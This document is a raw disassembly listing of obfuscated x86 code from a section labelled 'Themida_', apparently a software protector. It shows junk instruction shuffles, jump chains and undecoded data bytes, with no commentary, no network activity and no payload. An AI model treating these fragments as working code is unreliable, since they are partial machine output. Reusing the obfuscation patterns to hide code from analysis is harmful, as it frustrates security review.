mov ebp, ebx
pop ebx
sub ebp, 0BDE04FBh
jmp loc_50F4C7
; ---------------------------------------------------------------------------
db 0FFh, 74h, 24h
dd 8E95804h, 1FFFFA4h, 31FE2DE8h, 875D1DC9h, 0C9E92404h
db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_512F77: ; CODE XREF: Themida_:00506909j
sub ecx, 4
push ecx
jmp loc_512BB6
; ---------------------------------------------------------------------------
loc_512F80: ; CODE XREF: Themida_:00508AA5j
pop ebp
neg eax
sub eax, 5A293E19h
inc eax
push edi
jmp loc_5089B7
; ---------------------------------------------------------------------------
loc_512F8F: ; CODE XREF: Themida_:0050A680j
add edx, 4
jmp loc_508586
; ---------------------------------------------------------------------------
word_512F9A dw 34FFh ; DATA XREF: Themida_:005029CCo
dd 2434FF24h, 0FF72B4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_512FA5: ; CODE XREF: Themida_:005048F9j
mov ebp, 4
add ebx, ebp
pop ebp
jmp loc_508774
; ---------------------------------------------------------------------------
dw 5051h
dd 0B753FAB4h, 0C8CF80ADh, 0F780D7F6h, 5BFC003Ah, 0FE4BCC80h
dd 15C480CCh, 1EEFE9h
db 0
; ---------------------------------------------------------------------------
loc_512FD1: ; CODE XREF: Themida_:00516347j
mov ebx, 7D955BFBh
neg ebx
xor ebx, 3C7E0133h
sub ebx, 54DE9796h
jmp loc_50A79A
; ---------------------------------------------------------------------------
db 81h, 0C4h, 2
dd 0E9000000h, 35F4h, 5052CE29h, 8A1D5EB8h, 42F5354Ch
dd 0F1E94A7Bh, 0B9FFFF5Dh, 0
dd 0AAE9D101h, 41000005h, 0FFFFE981h, 0BF57FFFFh, 4E944443h
dd 0C15FF921h, 0C18104E1h, 1, 0B4DDE981h, 0C8010A1Fh, 0FF890BE9h
dd 0C4835AFFh, 241C3304h, 33241C31h, 7FE9241Ch
db 2, 2 dup(0)
; ---------------------------------------------------------------------------
loc_51304B: ; CODE XREF: Themida_:0050422Dj
mov eax, 49367C3Ch
sub eax, 0F75956B2h
add ecx, eax
pop eax
sub edi, 118D67FFh
add edi, ecx
add edi, 118D67FFh
jmp loc_509538
; ---------------------------------------------------------------------------
db 5Ah
dd 0FF9372E9h, 0ACCF81FFh, 81128E7Eh, 518001C7h, 5FF831A8h
dd 48BC629h, 4C48124h, 87000000h, 4E92434h, 89000001h
dd 4C781E7h, 81000000h, 2C7h, 243C8700h, 0FF08E95Ch, 0E189FFFFh
dd 4C181h, 0E9810000h, 4, 5C240C87h, 0BB241C89h, 215C790Ch
dd 50D88950h, 2243481h, 5F5A9605h, 502F781h, 0FF585A96h
dd 815B2434h, 4C4h, 5FF82900h, 0FF7621E9h, 38B168FFh, 14890000h
dd 29B76824h, 7E90000h
db 41h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5130FB: ; CODE XREF: Themida_:00503BD1j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push ebp
mov ebp, esp
jmp loc_50B1CD
; ---------------------------------------------------------------------------
db 89h
dd 6B69E9E9h, 0FF57FFFFh, 0FF042474h, 0E0E92434h
db 1Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_513127: ; CODE XREF: Themida_:005159BEj
add eax, 4
jmp loc_5141AB
; ---------------------------------------------------------------------------
loc_513131: ; CODE XREF: Themida_:00504D9Ej
push ecx
mov cl, 9Ah
not cl
dec cl
shr cl, 8
jmp loc_50CDA3
; ---------------------------------------------------------------------------
dd 0E9241C8Bh, 0FFFF0608h, 5F2434FFh, 0FF3BFCE9h, 0EC8151FFh
dd 4, 0B6241489h, 21EE8071h, 0F10082B1h, 59C8285Ah, 24148B66h
dd 0FFFE78E9h, 52E681FFh, 0C1481D2Eh, 0C4E906EEh
db 73h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51317F: ; CODE XREF: Themida_:00514BC6j
sub ebx, edi
sub ebx, 7AD215CFh
mov edi, ebx
pop ebx
push 3E83h
mov [esp], ecx
jmp loc_504AC1
; ---------------------------------------------------------------------------
db 8Bh
dd 89662424h, 62E92404h
db 3Fh, 2 dup(0)
byte_5131A3 db 0ADh ; DATA XREF: Themida_:0050299Co
dd 26034F2Dh, 52D80121h, 17BA6850h, 0E9581D6Eh, 0FFFF0D8Ch
dd 64D068h, 241C8900h, 268h, 772D5B00h, 0E96C5968h, 0FFFF7E4Dh
dd 267868h, 24048900h, 42474FFh, 0FF32A6E9h, 79F181FFh
dd 29F732B0h, 0D88959CBh, 8BC2895Bh, 0C4812404h, 4, 0E95AD029h
dd 3353h, 932538B8h, 5F06BB18h, 0C3296317h, 0EBC14358h
dd 35C38102h, 81678977h, 0E24F7CEBh, 0C3814341h, 0E2592746h
dd 1C8BDA29h, 58CDE924h, 48FFFFFh, 5A685C24h, 0E9000017h
dd 0FFFFEF68h
; ---------------------------------------------------------------------------
loc_51323C: ; CODE XREF: Themida_:00504D00j
pop ebx
inc bh
push ecx
mov ch, 19h
sub ch, 9
sub bh, 0E3h
push eax
push esp
pop eax
jmp loc_503AC1
; ---------------------------------------------------------------------------
dd 0C181E189h, 4, 8704E983h, 895C240Ch, 74FF243Ch, 34FF0424h
dd 81685F24h, 8900007Dh, 0E6892434h, 266468h, 0E69BE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51327E: ; CODE XREF: Themida_:0050C15Ej
push esi
mov esi, 7CB83308h
jmp loc_512776
; ---------------------------------------------------------------------------
db 68h, 93h, 2Dh
dd 29E90000h, 8900000Ch, 0E8882404h, 2DD468h, 240C8900h
dd 0F4E9C588h, 51FFFFE1h, 2B9h, 52B7E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5132B2: ; CODE XREF: Themida_:00512ADEj
sub ecx, esi
jmp loc_506680
; ---------------------------------------------------------------------------
loc_5132B9: ; CODE XREF: Themida_:005134ADj
mov dh, ah
not dh
mov ah, dh
pop dx
not ah
shr ah, 1
jmp loc_50F451
; ---------------------------------------------------------------------------
dw 665Ch
dd 1A68F1F7h, 0E9000045h, 0FFFF6911h, 4C481h, 0F2E90000h
dd 57FFFF06h, 9EE9E789h, 8300003Dh, 1C8702C3h, 66645C24h
dd 0D0E90289h, 68FFFEF7h, 60D5h, 0E9241489h, 0FFFFF239h
dd 0C8BE0F66h, 1C166866h, 65AE9h, 0E9D52900h, 0FFFF0FB6h
dd 0EF88D588h, 88595A59h, 4156E9FAh, 0CB280000h, 6641C380h
dd 80C1B652h, 0F300FBEBh, 66FBC380h, 240C8B5Ah, 81595451h
dd 4C1h, 4C18100h, 87000000h, 505C240Ch, 0E97EB353h, 0FFFFBCEAh
; ---------------------------------------------------------------------------
loc_51335C: ; CODE XREF: Themida_:00507C93j
xchg eax, [esp]
pop esp
push ecx
pop ebx
jmp loc_506B4A
; ---------------------------------------------------------------------------
db 33h
dd 14312414h, 4B03E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_513372: ; CODE XREF: Themida_:0050ADBAj
xor eax, ebp
xor ebp, eax
xor eax, ebp
push 5F60h
mov [esp], ebp
jmp loc_50DBFD
; ---------------------------------------------------------------------------
db 87h, 0Ch, 24h
dd 242C895Ch, 0C5815D54h, 4, 4ED81h, 2C870000h, 0E21FE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5133A2: ; CODE XREF: Themida_:005048A7j
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
and ecx, ebx
jmp loc_50F85B
; ---------------------------------------------------------------------------
db 2Dh
dd 9CA4CAA2h, 8DE9C221h, 29FFFF41h, 28BD2DD8h, 5E5B1421h
dd 0FFD19CE9h, 4BAFFh, 2E90000h
db 98h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5133D7: ; CODE XREF: Themida_:005164E5j
push dword ptr [esp]
pop ebp
push edi
jmp loc_511FCE
; ---------------------------------------------------------------------------
dd offset loc_404168
align 2
dw 0CEE9h
dd 1FFFF6Fh, 240C8BC8h, 4C481h, 4870000h, 24248B24h, 24048B66h
dd 2D3168h, 24348900h, 2434FF54h, 4EC835Eh, 89240C89h
dd 4C181E1h, 83000000h, 0CFE904C1h, 5AFFFF61h, 83240C8Bh
dd 685604C4h, 434559C5h, 8324348Bh, 0F74E04C4h, 0BACEE9DEh
dd 0E9D1FFFFh, 3E9AF181h, 0C6811988h, 711952A0h, 0FEFBBBE9h
dd 241487FFh, 2BE565Ch, 0E9000000h, 0FFFF3FE6h, 31240C33h
dd 0C33240Ch, 0C895C24h, 7B7D6824h, 3C890000h, 5E7E6824h
dd 0E95F1970h, 0FFFFD82Ch, 68241C89h, 6538h, 0E9243C89h
dd 0FFFFBC0Ah
; ---------------------------------------------------------------------------
loc_513490: ; CODE XREF: Themida_:00503B3Dj
pop ebx
pop ecx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
pop ecx
add ah, dl
push dword ptr [esp]
pop edx
add esp, 4
push dx
jmp loc_5132B9
; ---------------------------------------------------------------------------
dw 15Bh
dd 0C68158C6h, 5FE0613Fh, 0E9241C8Bh, 69h
; ---------------------------------------------------------------------------
loc_5134C4: ; CODE XREF: Themida_:005095EDj
sub esi, 0E9CBD9D5h
add eax, 33E5671Ch
add eax, esi
sub eax, 33E5671Ch
pop esi
xchg eax, [esp]
pop esp
push dword ptr [esp]
pop ecx
add esp, 4
mov ebx, ebp
pop ebp
and eax, ebx
mov ebx, [esp]
add esp, 4
or edx, eax
jmp loc_5155BB
; ---------------------------------------------------------------------------
loc_5134F4: ; CODE XREF: Themida_:0050B8A9j
push dword ptr [esp]
pop ecx
add esp, 4
xor eax, ecx
xor ecx, eax
xor eax, ecx
sub esp, 4
mov [esp], edx
jmp loc_5125E4
; ---------------------------------------------------------------------------
loc_51350F: ; CODE XREF: Themida_:0050AD79j
mov eax, 0D4A0CBEh
add eax, ebx
jmp loc_512C5B
; ---------------------------------------------------------------------------
aMps db '¬Pé²;',0 ; DATA XREF: Themida_:00502A34o
align 2
loc_513522: ; CODE XREF: Themida_:005125DFj
push ecx
mov ecx, 3A291B0Ah
jmp loc_505E75
; ---------------------------------------------------------------------------
db 51h, 89h, 0E1h
dd 4BA52h, 0D1010000h, 0FF1B4CE9h, 0E1C159FFh, 18E3E903h
dd 0C9810000h, 2828226Ah, 0B36AE941h, 34FFFFFFh, 2434FF24h
dd 0E7895758h, 4BB53h, 0DF010000h, 0FF28F8E9h, 7C4C05FFh
dd 0D0F765DDh, 639D6848h, 9DE90000h, 1FFFFC9h, 660E9CAh
dd 0EFC10000h, 0F7814F07h, 16BE3Ch, 9C685651h, 5E278D5Ah
dd 0CE81DEF7h, 63F71E72h, 0C681D6F7h, 255E853h, 0FFE7BCE9h
dd 48E952FFh
db 35h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5135AF: ; CODE XREF: Themida_:00504021j
push esi
push 3A8Eh
mov [esp], ecx
jmp loc_50ACDD
; ---------------------------------------------------------------------------
db 81h, 31h, 77h
dd 0E93B8B0Dh, 0FFFF2211h, 2B9h, 0CCEE8100h, 111800Ch
dd 80C8E9CEh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5135DA: ; CODE XREF: Themida_:00503716j
pop eax
add esp, 4
jmp loc_50B3B8
; ---------------------------------------------------------------------------
loc_5135E6: ; CODE XREF: Themida_:005125F2j
push 1F3Dh
mov [esp], esi
mov esi, esp
push edx
mov edx, 3ABE7562h
jmp loc_511A74
; ---------------------------------------------------------------------------
db 8Bh
dd 75E92404h, 5BFFFF67h, 0FF35A5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_513609: ; CODE XREF: Themida_:0050FE7Fj
push edx
push edi
mov edi, 6BAB5D2Ch
jmp loc_5092AA
; ---------------------------------------------------------------------------
db 81h, 0CFh, 33h
dd 81364A73h, 176F22F7h, 0BA525355h, 61623507h, 315AD389h
dd 0FB315BDFh, 81243C8Bh, 4C4h, 26C28100h, 10EBD7Ah, 0B145E9DAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_513646: ; CODE XREF: Themida_:005079C0j
push 7C04h
mov [esp], edx
push edx
jmp loc_506CEF
; ---------------------------------------------------------------------------
dd 862EF781h, 0FB298F75h, 0E9243C8Bh, 0FFFF3683h, 0FF24248Bh
dd 52592434h, 3F11E9h
db 0
; ---------------------------------------------------------------------------
loc_513671: ; CODE XREF: Themida_:00514627j
mov edx, 0
add edx, eax
push ebx
mov ebx, 0
add ebx, edx
mov [ebx], ecx
pop ebx
pop edx
pop eax
push dword ptr [esp]
pop ecx
push edi
jmp loc_504A96
; ---------------------------------------------------------------------------
db 81h
dd 0AA7898C3h, 81FB2955h, 0AA7898EBh, 0B885F55h, 24E9595Bh
dd 81FFFEF4h, 0D9B926C7h, 8BFB3135h, 0C483243Ch, 46EF6804h
dd 35E90000h
db 78h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5136BF: ; CODE XREF: Themida_:0050ACAAj
add esp, 4
or eax, eax
jnz loc_509FE1
push 1BCBh
jmp loc_5129BA
; ---------------------------------------------------------------------------
db 83h
dd 40E904C4h, 0E9FFFF30h, 0FFFEF3E7h
; ---------------------------------------------------------------------------
loc_5136E4: ; CODE XREF: Themida_:00510269j
mov [esp], ecx
jmp loc_503713
; ---------------------------------------------------------------------------
dd 245C015Fh, 0ABEDE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5136F6: ; CODE XREF: Themida_:005111E3j
pop ebp
pop dword ptr [esp]
pop esp
jmp loc_509E89
; ---------------------------------------------------------------------------
dword_513700 dd 240C8B66h, 81585450h, 4ECh, 4802E900h, 0FC280000h, 5B65C480h
; DATA XREF: Themida_:00502820o
dd 5258E528h, 0DDE967B2h
db 27h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_513723: ; CODE XREF: Themida_:0050C56Cj
push esi
mov esi, esp
jmp loc_514B40
; ---------------------------------------------------------------------------
db 89h
dd 4BF243Ch, 50000000h, 0F73892B8h, 3188056Bh, 24054EF8h
dd 16A0A9Eh, 0FB0158C3h, 83EEB81h, 875F24FAh, 95C241Ch
dd 9E840FC0h, 53FFFF34h, 81E18951h, 4C1h, 4E98100h, 87000000h
dd 895C240Ch, 0FEBD242Ch, 68000000h, 0ABAh, 0FFAFD7E9h
dd 4C681FFh, 83000000h, 348704EEh, 34895C24h, 0BB535024h
dd 6A530A6Ah, 0CB81DBF7h, 51506487h, 1C39C381h, 0E3C13657h
dd 89EB8104h, 814AD072h, 9EDB7AF3h, 5BD8895Fh, 8ADD38BEh
dd 5EEE8195h, 0E9269223h, 0FFFF88B0h, 8104C483h, 4C1h
dd 0DF9BE900h, 55FFFFFh, 1C852632h, 0FFBC9EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5137E1: ; CODE XREF: Themida_:005114AFj
pop dword ptr [esp]
pop ebp
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
jmp loc_50C6F9
; ---------------------------------------------------------------------------
db 83h, 4, 24h
dd 0A2C0E904h, 6655FFFFh, 0E9423BBDh, 441Ah
; ---------------------------------------------------------------------------
loc_51380C: ; CODE XREF: Themida_:00506482j
push edx
push 558069BEh
pop edx
push ebx
mov ebx, 4B520497h
jmp loc_505BE2
; ---------------------------------------------------------------------------
dw 0C89h
dd 2B924h, 0CB010000h, 241C8759h, 0FF8EBDE9h, 68FFh, 3C290000h
dd 0BD555F24h, 6BDD2CE5h, 1B11C581h, 0BE566843h, 46707FB4h
dd 815EF501h, 9B60FEC5h, 64B9514Ch, 0C178BD44h, 0F18107E9h
dd 10EC3C36h, 68h, 240C2900h, 0F5F18159h, 0E907B169h, 1EC2h
dd 0C5815D54h, 4, 4ED81h, 2C870000h, 0E9E95C24h
db 3 dup(0)
byte_51388F db 0ACh ; DATA XREF: Themida_:005028D8o
dd 2EC81h, 9AE90000h
db 0EBh, 2 dup(0FFh)
aMhA db '¬hµA',0 ; DATA XREF: Themida_:00502A28o
dd 0A2A4E900h, 0F281FFFFh, 3AB357A8h, 8105EAC1h, 0A2463ACAh
dd 4EC8156h, 89000000h, 0E5BE2434h, 8107E618h, 0DC6C28EEh
dd 8BE6814Bh, 8149290Dh, 0D4FF6h, 5B9DE9A1h, 4966FFFFh
dd 0C474E950h, 0EA81FFFFh, 7D132836h, 74C168h, 24348900h
dd 0FF737EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5138F5: ; CODE XREF: Themida_:0050AEB3j
inc edx
not edx
xor edx, 496E3A13h
jmp loc_50AB1F
; ---------------------------------------------------------------------------
loc_513903: ; CODE XREF: Themida_:00503661j
push edi
mov edi, 5E631B64h
add edi, 0C3F51BF2h
xor edx, edi
pop edi
xchg ebp, edx
dec ebp
jmp loc_50D9DB
; ---------------------------------------------------------------------------
dw 14F7h
dd 0EC815A24h, 4, 0F7241489h, 148B241Ch, 4C48324h, 4B97BF57h
dd 0CF81797Eh, 6222098Fh, 0DC1E9h
db 0
; ---------------------------------------------------------------------------
loc_513941: ; CODE XREF: Themida_:0050B4AEj
pop eax
jmp loc_513F83
; ---------------------------------------------------------------------------
db 1
dd 243C8BFEh, 104C483h, 0C5EE81DEh, 0FF2F3364h, 515B2434h
dd 7F3E9h, 2474FF00h, 48F5E04h, 64E95C24h, 66FFFFDEh, 0E9240C89h
dd 40DAh, 89240489h, 0BA5251E0h, 744C261Ch, 815AD189h
dd 0FFFFFFC1h, 0B387E9FFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_513992: ; CODE XREF: Themida_:0050C4EDj
add edx, 4
xchg edx, [esp]
jmp loc_50BEDC
; ---------------------------------------------------------------------------
db 59h, 81h, 0C4h
dd 4, 31242C33h, 2C33242Ch, 7FE1E924h, 0D2F7FFFFh, 2B4FCA81h
dd 0F2816313h, 750C30D3h, 0FFD345E9h, 243481FFh, 59F274ACh
dd 4EC815Ah, 89000000h, 0E0892404h, 405h, 4E88300h, 0E9240487h
dd 864h
; ---------------------------------------------------------------------------
loc_5139E8: ; CODE XREF: Themida_:0050C661j
add esp, 4
push esi
jmp loc_50888C
; ---------------------------------------------------------------------------
loc_5139F4: ; CODE XREF: Themida_:00511F69j
add esi, 4
jmp loc_5166D6
; ---------------------------------------------------------------------------
db 5Ch
dd 0E9240C89h, 3BE2h, 0BF243C89h, 4A011083h, 0F707E7C1h
dd 0ADC781DFh, 815DF053h, 0F01521CFh, 9D685274h, 8B57A9F6h
dd 89572414h, 4C781E7h, 83000000h, 3C8704C7h, 99AE924h
dd 0D501FFFFh, 4EC815Ah, 89000000h, 2FE9242Ch
db 7, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_513A4F: ; CODE XREF: Themida_:0050FFE8j
add eax, esi
jmp loc_50B398
; ---------------------------------------------------------------------------
loc_513A56: ; CODE XREF: Themida_:0050A6DAj
pop ecx
push edi
mov edi, esp
push ecx
mov ecx, 4
add edi, ecx
pop ecx
add edi, 4
xor edi, [esp]
xor [esp], edi
jmp loc_51699B
; ---------------------------------------------------------------------------
loc_513A71: ; CODE XREF: Themida_:00505220j
push 1814h
mov [esp], esp
push 7337h
jmp loc_506F1D
; ---------------------------------------------------------------------------
db 4
dd 2CF000B4h, 48F7E9B4h, 8150FFFFh, 111D2434h, 8FE947CCh
db 79h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_513A9B: ; CODE XREF: Themida_:00513D0Bj
pop esi
push ebp
mov ebp, 4
jmp loc_5174EE
; ---------------------------------------------------------------------------
db 88h
dd 0DD2858E3h, 0C3805B66h, 83EB28DDh, 3C8904ECh, 81E78924h
dd 4C7h, 0A8FAE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_513AC6: ; CODE XREF: Themida_:0050D8ABj
jmp loc_5178A0
; ---------------------------------------------------------------------------
db 89h
dd 0E389241Ch, 0FF8866E9h, 57E689FFh, 0B54AEEBFh, 0C9F78112h
dd 0C1770362h, 0E95006E7h, 0FFFFABF6h, 142EE94Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_513AF2: ; CODE XREF: Themida_:0050D754j
xor ebp, edi
xor edi, ebp
sub edi, 1
push 763Ah
mov [esp], ecx
mov ecx, 0E3E7D26Dh
sub edi, 413E11CFh
jmp loc_505C06
; ---------------------------------------------------------------------------
db 50h, 54h, 58h
dd 405h, 67696800h, 2C890000h, 4BD24h, 0E8010000h, 4EC815Dh
dd 89000000h, 0F8E92404h, 8BFFFF4Eh, 89522434h, 98ABE9E2h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_513B42: ; CODE XREF: Themida_:0050D972j
sub edi, 262C3156h
add ebp, edi
jmp loc_504D05
; ---------------------------------------------------------------------------
db 0B9h
dd 4, 8359CF01h, 0E95102C7h, 0FFFFF6F0h, 0A6BD555Bh, 0F700CF49h
dd 45D5F7D5h, 0ED81D5F7h, 0AF9D5D61h, 0FFCE84E9h, 2474FFFFh
dd 48F5B04h, 24248B24h, 582434FFh, 8904EC83h, 0E389241Ch
dd 4C381h, 0EC830000h, 0E79E904h, 89660000h, 0F66240Ch
dd 5166C8B6h, 0EF1DE99Ch
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_513BAE: ; CODE XREF: Themida_:0050960Dj
pop esi
jmp loc_50FAD2
; ---------------------------------------------------------------------------
dd 0C5814D5Ah, 39AB2E73h, 9A6BF581h, 0C281B5A2h, 474E244Dh
dd 0EA81EA01h, 474E244Dh, 3360685Dh, 14890000h, 2474FF24h
dd 7C38E904h, 0EA81FFFFh, 52B024C8h, 1D6E959h, 0E2300000h
dd 2D1AE958h, 0D8000000h, 96E99B04h, 56FFFF60h, 0FF172DE9h
dd 3FE95BFFh, 8900002Dh, 15B9240Ch, 52169C35h, 0FF2EA4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_513C19: ; CODE XREF: Themida_:00513FB1j
mov esp, [esp]
and eax, edx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push esi
push 4E0Dh
mov [esp], esp
add dword ptr [esp], 4
pop esi
add esi, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_504EB7
; ---------------------------------------------------------------------------
db 5Fh, 0E9h, 29h
dd 68FFFF0Ch, 42E8h, 0FF3896E9h, 1F9B68FFh, 0C890000h
dd 0F395E924h, 0CE88FFFFh, 83240C8Bh, 535B04C4h, 0DD88F388h
dd 24148B5Bh, 4C481h, 59680000h, 89000041h, 0EA882414h
dd 0FFE991E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_513C99: ; CODE XREF: Themida_:00507BBBj
push 1FA5h
jmp loc_509DAA
; ---------------------------------------------------------------------------
db 50h
dd 0B8h, 89E82900h, 0ED8158C5h, 56EB0DE4h, 4EC834Dh, 0BF243C89h
dd 0
dd 0FD87EF29h, 0D5C5815Fh, 8362AAF6h, 3C8904ECh, 7359BF24h
dd 0FB013CB9h, 81EB295Fh, 0B97359EBh, 0DBE5E93Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_513CE6: ; CODE XREF: Themida_:0050DAEDj
xchg edx, ebp
xchg ebp, [esp]
push dword ptr [esp]
mov edi, [esp]
jmp loc_503BC1
; ---------------------------------------------------------------------------
dw 0C281h
dd 0BBC4B6Bh, 0FF53E952h, 525BFFFFh, 0FF9656E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_513D09: ; CODE XREF: Themida_:00514466j
add eax, esi
jmp loc_513A9B
; ---------------------------------------------------------------------------
dd 2404875Fh, 22C9E9h, 2EC8300h, 24048966h, 223433B0h
dd 0C0FED804h, 0D0F62704h, 0A4E95366h, 89FFFF7Fh, 9BBB241Ch
dd 43430A21h, 0DCBD5557h, 450FE457h, 23A9C581h, 0E9553791h
dd 0FFFF0938h, 63E9C801h, 52FFFFAAh, 0EC835A54h, 243C8904h
dd 6B7E8568h, 243C8B51h, 4C481h, 0E9520000h, 0FFFFBDBBh
; ---------------------------------------------------------------------------
loc_513D74: ; CODE XREF: Themida_:0051622Fj
sub eax, edi
pop edi
shr eax, 4
xor eax, 0A55A0D67h
jmp loc_50DA38
; ---------------------------------------------------------------------------
loc_513D84: ; CODE XREF: Themida_:0050EB30j
; Themida_:00516FA4j
push 2383h
mov [esp], ebx
push edi
mov edi, 67B80E75h
sub dword ptr [esp+4], 586B467Eh
jmp loc_50924B
; ---------------------------------------------------------------------------
loc_513D9F: ; CODE XREF: Themida_:00514FD2j
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
push 288Bh
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
mov [esp], eax
jmp loc_510264
; ---------------------------------------------------------------------------
dd 0A228E94Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_513DCA: ; CODE XREF: Themida_:00512AC8j
add esp, 4
jmp loc_506054
; ---------------------------------------------------------------------------
dw 0EC83h
dd 24348904h, 0FA4012BEh, 0A1B85000h, 0E95D8765h, 480h
dword_513DE8 dd 4EC81ADh, 89000000h, 65BB241Ch, 5765D160h, 3B4980BFh
; DATA XREF: Themida_:005028F0o
dd 0B8C78105h, 0C169B221h, 0F78104EFh, 33692D5Ah, 0FF393BE9h
dd 0F8015BFFh, 1157A905h, 0C0835F78h, 24043304h, 33240431h
dd 0FF5C2404h, 48B2434h, 5F545724h, 4C781h, 0C7830000h
dd 243C8704h, 0A268525Ch, 89000024h, 4812424h, 424h, 24148B00h
dd 0FF97DBE9h, 44E95EFFh, 0B8FFFF8Dh, 4, 6858C101h, 570Eh
dd 0BD242C89h, 4, 70E9E901h
db 0FAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_513E77: ; CODE XREF: Themida_:0050A6CFj
xchg ebx, [esp]
pop esp
jmp loc_50674C
; ---------------------------------------------------------------------------
dd 1A6DCFBBh, 9FC38172h, 81596D1Eh, 9872CEC3h, 4EBA5235h
dd 31071C75h, 0C3815AD3h, 4B9F2C03h, 2BA5E381h, 0F3816A4Ah
dd 40022221h, 835BD901h, 0FF5104C1h, 0E9042474h, 0FFFF4CC6h
dd 81242489h, 42404h, 685D0000h, 25ABh, 0B8240489h, 4
dd 12A4ED81h, 0C5011621h, 12A4C581h, 34FF1621h, 0C4815824h
dd 4, 4B951h, 0ED810000h, 4F830BFEh, 0FF4FF9E9h, 4C481FFh
dd 0D1000000h, 3D06E9EDh, 0C3010000h, 0FFF6EAE9h, 242489FFh
dd 4BE56h, 4DE90000h, 8BFFFFC5h, 0C4812414h, 4, 8959C889h
dd 2434FFC2h, 0FF27B9E9h, 0BDC380FFh, 0FEC7E380h, 30ABE9CBh
dd 159FFFFh, 0F6C281DAh, 0E96D4166h, 1B3Ch, 6A7DE181h
dd 0C1816F27h, 59E479C5h, 52B1BD55h, 0E9096036h, 0AFE9815Dh
dd 0E97DFEF2h, 0FFFF89D8h, 0F2B65253h, 884CF680h, 0EB805AF3h
dd 33E95191h
db 0Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_513F83: ; CODE XREF: Themida_:00513942j
pop dword ptr [esp]
pop esp
sub esp, 4
mov [esp], ecx
jmp loc_508527
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 0E9000000h, 0FFFF44D9h, 8159CD01h, 4ECh, 3EBFE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_513FAE: ; CODE XREF: Themida_:0050FD10j
xchg esi, [esp]
jmp loc_513C19
; ---------------------------------------------------------------------------
dw 10E9h
dd 83FFFEEBh, 51E904C4h, 56FFFFBAh, 24E9E689h
db 3Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_513FCB: ; CODE XREF: Themida_:0050AF2Cj
xchg ebx, [esp]
pop esp
mov [esp], edx
push esp
pop edx
sub esp, 4
mov [esp], ebx
jmp loc_510BB2
; ---------------------------------------------------------------------------
dw 0E8C1h
dd 1FAC3503h, 0B9514C2Ch, 3B96393Eh, 8102E1C1h, 0BD7650C1h
dd 3571E961h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_513FFE: ; CODE XREF: Themida_:00514F93j
push ebp
jmp loc_50DCE0
; ---------------------------------------------------------------------------
dd 451EC181h, 1586959h, 0C38159CBh, 118F3AD6h, 0FF3147E9h
dd 246C81FFh, 6451F004h, 1C9BE938h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_514026: ; CODE XREF: Themida_:00505D13j
push 5F475444h
pop esi
add esi, 0A81B1216h
jmp loc_50A032
; ---------------------------------------------------------------------------
loc_514037: ; CODE XREF: Themida_:0051267Cj
push dword ptr [esp]
pop ecx
jmp loc_50E85E
; ---------------------------------------------------------------------------
dd 5181C680h, 0ED8012B5h, 0DC06E95Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51404E: ; CODE XREF: Themida_:00505B82j
pop edi
jmp loc_5140B8
; ---------------------------------------------------------------------------
dd 0EC52C181h, 0CF29F503h, 83240C8Bh, 0FB8904C4h, 83243C8Bh
dd 0DF0104C4h, 537E9h
db 0
aMhso db '¬háO',0 ; DATA XREF: Themida_:005029C0o
dw 8900h
dd 0F7B3241Ch, 86FDF380h, 86D4F6E3h, 3192E9E3h, 0C4810000h
dd 4, 81E38953h, 4C3h, 0E9DFE900h, 815AFFFFh, 0D158D0C2h
dd 242C8B66h, 4C481h, 0D7010000h, 0E924148Bh, 198Ah
; ---------------------------------------------------------------------------
loc_5140B8: ; CODE XREF: Themida_:0051404Fj
sub edi, 19A4799Eh
jmp loc_51506A
; ---------------------------------------------------------------------------
db 0F7h
dd 0A0BF57DDh, 297F2809h, 3AE95FFDh
db 0, 2 dup(0FFh)
; ---------------------------------------------------------------------------
